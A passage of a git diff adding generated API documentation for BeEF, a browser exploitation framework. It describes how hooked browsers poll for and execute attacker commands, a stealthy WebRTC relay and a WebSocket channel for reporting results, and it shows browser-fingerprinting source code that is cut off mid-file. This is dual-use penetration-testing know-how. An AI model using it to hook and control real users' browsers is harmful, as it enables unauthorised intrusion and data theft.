Members

+ + + +

(static) beefhook

+ + + + +
+

Hook session name.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) lock

+ + + + +
+

A lock.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) objects

+ + + + +
+

An object containing all values to be registered and sent by the updater.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) xhr_poll_timeout

+ + + + +
+

XHR-polling timeout.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) execute_commands()

+ + + + + + +
+

Executes the received commands, if any.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_commands()

+ + + + + + +
+

Gets new commands from the framework.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) regObject(key, value)

+ + + + + + +
+

Registers an object to always send when requesting new commands to the framework.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
key + + +String + + + +

the name of the object.

value + + +String + + + +

the value of that object.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + +
Example
+ +
beef.updater.regObject('java_enabled', 'true');
+ + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.webrtc.html b/docs/beef.webrtc.html new file mode 100644 index 000000000..5c9671d63 --- /dev/null +++ b/docs/beef.webrtc.html @@ -0,0 +1,3071 @@ + + + + + JSDoc: Namespace: webrtc + + + + + + + + + + +
+ +

Namespace: webrtc

+ + + + + + +
+ +
+ +

webrtc

+ + +
+ +
+
+ + +

Manage the WebRTC peer to peer communication channels. +This objects contains all the necessary client-side WebRTC components, +allowing browsers to use WebRTC to communicate with each other. +To provide signaling, the WebRTC extension sets up custom listeners. +/rtcsignal - for sending RTC signalling information between peers +/rtcmessage - for client-side rtc messages to be submitted back into beef and logged.

+

To ensure signaling gets back to the peers, the hook.js dynamic construction also includes +the signalling.

+

This is all mostly a Proof of Concept

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) beefrtcs

+ + + + +
+

To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) globalrtc

+ + + + +
+

To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects +these objects persist outside of everything else. The key is the peer id.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) rtcrecvchan

+ + + + +
+

To handle multiple event channels - we need to have a global hash of these. The key is the peer id

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) rtcstealth

+ + + + +
+

stealth should only be initiated from one peer - this global variable will contain: +false - i.e not stealthed; or + - i.e. the id of the browser which initiated stealth mode

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) Beefwebrtc(initiator, peer, turnjson, stunservers, verbparam)

+ + + + + + +
+

Beefwebrtc object - wraps everything together for a peer connection +One of these per peer connection, and will be stored in the beefrtc global hash

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
initiator + +
peer + +
turnjson + +
stunservers + +
verbparam + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#calleeStart()

+ + + + + + +
+

Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#createPeerConnection()

+ + + + + + +
+

Try and establish the RTC connection

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#doAnswer()

+ + + + + + +
+

As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#doCall()

+ + + + + + +
+

RTC - create an offer - the caller runs this, while the receiver runs calleeStart()

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#execCmd()

+ + + + + + +
+

How the browser executes received JS (this is pretty hacky)

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#forceTurn()

+ + + + + + +
+

Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) +These values are now simply passed in from the config.yaml for the webrtc extension

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#goStealth()

+ + + + + + +
+

This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#iceCandidateType()

+ + + + + + +
+

Helper method to determine what kind of ICE Candidate we've received

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#initialize()

+ + + + + + +
+

Initialize the object

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#maybeStart()

+ + + + + + +
+

Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#mergeConstraints()

+ + + + + + +
+

Helper method to merge SDP constraints

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#noteIceCandidate()

+ + + + + + +
+

Used to record ICS candidates locally

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onAddIceCandidateError()

+ + + + + + +
+

Event handler for unsuccessful addition of ICE Candidates

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onAddIceCandidateSuccess()

+ + + + + + +
+

Event handler for successful addition of ICE Candidates

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onCreateSessionDescriptionError()

+ + + + + + +
+

If the browser can't build an SDP

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onDataChannel()

+ + + + + + +
+

When a data channel has been established - within here is the message handling function as well

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onIceCandidate()

+ + + + + + +
+

When the PeerConnection receives a new ICE Candidate

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onIceConnectionStateChanged()

+ + + + + + +
+

When the ICE Connection State changes - this is useful to determine connection statuses with peers.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onRemoteHangup()

+ + + + + + +
+

If a peer hangs up (we bring down the peerconncetion via the stop() method)

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onSetRemoteDescriptionSuccess()

+ + + + + + +
+

If the browser successfully sets a remote description

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onSignalingStateChanged()

+ + + + + + +
+

When the signalling state changes. We don't actually do anything with this except log it.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#processMessage()

+ + + + + + +
+

For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function +This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage +against the message directly

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#processSignalingMessage()

+ + + + + + +
+

Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#sendPeerMsg()

+ + + + + + +
+

Shortcut function to SEND a data messsage

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#sendSignalMsg()

+ + + + + + +
+

Send a signalling message ..

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#setRemote()

+ + + + + + +
+

Used to set the RTC remote session

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#stop()

+ + + + + + +
+

Bring down the peer connection

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) rtcpollPeer()

+ + + + + + +
+

This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.websocket.html b/docs/beef.websocket.html new file mode 100644 index 000000000..e4ed72da7 --- /dev/null +++ b/docs/beef.websocket.html @@ -0,0 +1,499 @@ + + + + + JSDoc: Namespace: websocket + + + + + + + + + + +
+ +

Namespace: websocket

+ + + + + + +
+ +
+ +

websocket

+ + +
+ +
+
+ + +

Manage the WebSocket communication channel. +This channel is much faster and responsive, and it's used automatically +if the browser supports WebSockets AND beef.http.websocket.enable = true.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) alive()

+ + + + + + +
+

Polling mechanism, to notify the BeEF server that the browser is still hooked, +and the WebSocket channel still alive. +todo: there is probably a more efficient way to do this. Double-check WebSocket API.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) init()

+ + + + + + +
+

Initialize the WebSocket client object. +Note: use WebSocketSecure only if the hooked origin is under https. +Mixed-content in WS is quite different from a non-WS context.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) send()

+ + + + + + +
+

Send data back to BeEF. This is basically the same as beef.net.send, +but doesn't queue commands. +Example usage: +beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + +'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + +'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) start()

+ + + + + + +
+

Send Helo message to the BeEF server and start async polling.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/browser.js.html b/docs/browser.js.html new file mode 100644 index 000000000..f357d2678 --- /dev/null +++ b/docs/browser.js.html @@ -0,0 +1,4701 @@ + + + + + JSDoc: Source: browser.js + + + + + + + + + + +
+ +

Source: browser.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Basic browser functions.
+ * @namespace beef.browser
+ */
+beef.browser = {
+
+    /**
+     * Returns the user agent that the browser is claiming to be.
+     * @example: beef.browser.getBrowserReportedName()
+     */
+    getBrowserReportedName: function () {
+        return navigator.userAgent;
+    },
+
+    /**
+     * Returns the underlying layout engine in use by the browser.
+     * @example: beef.browser.getBrowserEngine()
+     */
+    getBrowserEngine: function() {
+      try {
+        var engine = platform.layout;
+        if (!!engine)
+          return engine;
+      } catch (e) {}
+      return 'unknown';
+    },
+
+    /**
+     * Returns true if Avant Browser.
+     * @example: beef.browser.isA()
+     */
+    isA: function () {
+        return window.navigator.userAgent.match(/Avant TriCore/) != null;
+    },
+
+    /**
+     * Returns true if Iceweasel.
+     * @example: beef.browser.isIceweasel()
+     */
+    isIceweasel: function () {
+        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
+    },
+
+    /**
+     * Returns true if Midori.
+     * @example: beef.browser.isMidori()
+     */
+    isMidori: function () {
+        return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
+    },
+
+    /**
+     * Returns true if Odyssey
+     * @example: beef.browser.isOdyssey()
+     */
+    isOdyssey: function () {
+        return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
+    },
+
+    /**
+     * Returns true if Brave
+     * @example: beef.browser.isBrave()
+     */
+    isBrave: function(){
+        return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
+    },
+
+    /**
+     * Returns true if IE6.
+     * @example: beef.browser.isIE6()
+     */
+    isIE6: function () {
+        return !window.XMLHttpRequest && !window.globalStorage;
+    },
+
+    /**
+     * Returns true if IE7.
+     * @example: beef.browser.isIE7()
+     */
+    isIE7: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
+    },
+
+    /**
+     * Returns true if IE8.
+     * @example: beef.browser.isIE8()
+     */
+    isIE8: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
+    },
+
+    /**
+     * Returns true if IE9.
+     * @example: beef.browser.isIE9()
+     */
+    isIE9: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
+    },
+
+    /**
+     *
+     * Returns true if IE10.
+     * @example: beef.browser.isIE10()
+     */
+    isIE10: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
+    },
+
+    /**
+     *
+     * Returns true if IE11.
+     * @example: beef.browser.isIE11()
+     */
+    isIE11: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
+    },
+
+    /**
+     *
+     * Returns true if Edge.
+     * @example: beef.browser.isEdge()
+     */
+    isEdge: function () {
+        return !beef.browser.isIE() && !!window.StyleMedia;
+    },
+
+    /**
+     * Returns true if IE.
+     * @example: beef.browser.isIE()
+     */
+    isIE: function () {
+        return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
+    },
+
+    /**
+     * Returns true if FF2.
+     * @example: beef.browser.isFF2()
+     */
+    isFF2: function () {
+        return !!window.globalStorage && !window.postMessage;
+    },
+
+    /**
+     * Returns true if FF3.
+     * @example: beef.browser.isFF3()
+     */
+    isFF3: function () {
+        return !!window.globalStorage && !!window.postMessage && !JSON.parse;
+    },
+
+    /**
+     * Returns true if FF3.5.
+     * @example: beef.browser.isFF3_5()
+     */
+    isFF3_5: function () {
+        return !!window.globalStorage && !!JSON.parse && !window.FileReader;
+    },
+
+    /**
+     * Returns true if FF3.6.
+     * @example: beef.browser.isFF3_6()
+     */
+    isFF3_6: function () {
+        return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
+    },
+
+    /**
+     * Returns true if FF4.
+     * @example: beef.browser.isFF4()
+     */
+    isFF4: function () {
+        return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
+    },
+
+    /**
+     * Returns true if FF5.
+     * @example: beef.browser.isFF5()
+     */
+    isFF5: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
+    },
+
+    /**
+     * Returns true if FF6.
+     * @example: beef.browser.isFF6()
+     */
+    isFF6: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
+    },
+
+    /**
+     * Returns true if FF7.
+     * @example: beef.browser.isFF7()
+     */
+    isFF7: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
+    },
+
+    /**
+     * Returns true if FF8.
+     * @example: beef.browser.isFF8()
+     */
+    isFF8: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
+    },
+
+    /**
+     * Returns true if FF9.
+     * @example: beef.browser.isFF9()
+     */
+    isFF9: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
+    },
+
+    /**
+     * Returns true if FF10.
+     * @example: beef.browser.isFF10()
+     */
+    isFF10: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
+    },
+
+    /**
+     * Returns true if FF11.
+     * @example: beef.browser.isFF11()
+     */
+    isFF11: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
+    },
+
+    /**
+     * Returns true if FF12
+     * @example: beef.browser.isFF12()
+     */
+    isFF12: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
+    },
+
+    /**
+     * Returns true if FF13
+     * @example: beef.browser.isFF13()
+     */
+    isFF13: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
+    },
+
+    /**
+     * Returns true if FF14
+     * @example: beef.browser.isFF14()
+     */
+    isFF14: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
+    },
+
+    /**
+     * Returns true if FF15
+     * @example: beef.browser.isFF15()
+     */
+    isFF15: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
+    },
+
+    /**
+     * Returns true if FF16
+     * @example: beef.browser.isFF16()
+     */
+    isFF16: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
+    },
+
+    /**
+     * Returns true if FF17
+     * @example: beef.browser.isFF17()
+     */
+    isFF17: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
+    },
+
+    /**
+     * Returns true if FF18
+     * @example: beef.browser.isFF18()
+     */
+    isFF18: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
+    },
+
+    /**
+     * Returns true if FF19
+     * @example: beef.browser.isFF19()
+     */
+    isFF19: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
+    },
+
+    /**
+     * Returns true if FF20
+     * @example: beef.browser.isFF20()
+     */
+    isFF20: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
+    },
+
+    /**
+     * Returns true if FF21
+     * @example: beef.browser.isFF21()
+     */
+    isFF21: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
+    },
+
+    /**
+     * Returns true if FF22
+     * @example: beef.browser.isFF22()
+     */
+    isFF22: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
+    },
+
+    /**
+     * Returns true if FF23
+     * @example: beef.browser.isFF23()
+     */
+    isFF23: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
+    },
+
+    /**
+     * Returns true if FF24
+     * @example: beef.browser.isFF24()
+     */
+    isFF24: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
+    },
+
+    /**
+     * Returns true if FF25
+     * @example: beef.browser.isFF25()
+     */
+    isFF25: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
+    },
+
+    /**
+     * Returns true if FF26
+     * @example: beef.browser.isFF26()
+     */
+    isFF26: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
+    },
+
+    /**
+     * Returns true if FF27
+     * @example: beef.browser.isFF27()
+     */
+    isFF27: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
+    },
+
+    /**
+     * Returns true if FF28
+     * @example: beef.browser.isFF28()
+     */
+    isFF28: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
+    },
+
+    /**
+     * Returns true if FF29
+     * @example: beef.browser.isFF29()
+     */
+    isFF29: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
+    },
+
+    /**
+     * Returns true if FF30
+     * @example: beef.browser.isFF30()
+     */
+    isFF30: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
+    },
+
+    /**
+     * Returns true if FF31
+     * @example: beef.browser.isFF31()
+     */
+    isFF31: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
+    },
+
+    /**
+     * Returns true if FF32
+     * @example: beef.browser.isFF32()
+     */
+    isFF32: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
+    },
+
+    /**
+     * Returns true if FF33
+     * @example: beef.browser.isFF33()
+     */
+    isFF33: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
+    },
+
+    /**
+     * Returns true if FF34
+     * @example: beef.browser.isFF34()
+     */
+    isFF34: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
+    },
+
+    /**
+     * Returns true if FF35
+     * @example: beef.browser.isFF35()
+     */
+    isFF35: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
+    },
+
+    /**
+     * Returns true if FF36
+     * @example: beef.browser.isFF36()
+     */
+    isFF36: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
+    },
+
+    /**
+     * Returns true if FF37
+     * @example: beef.browser.isFF37()
+     */
+    isFF37: function () {
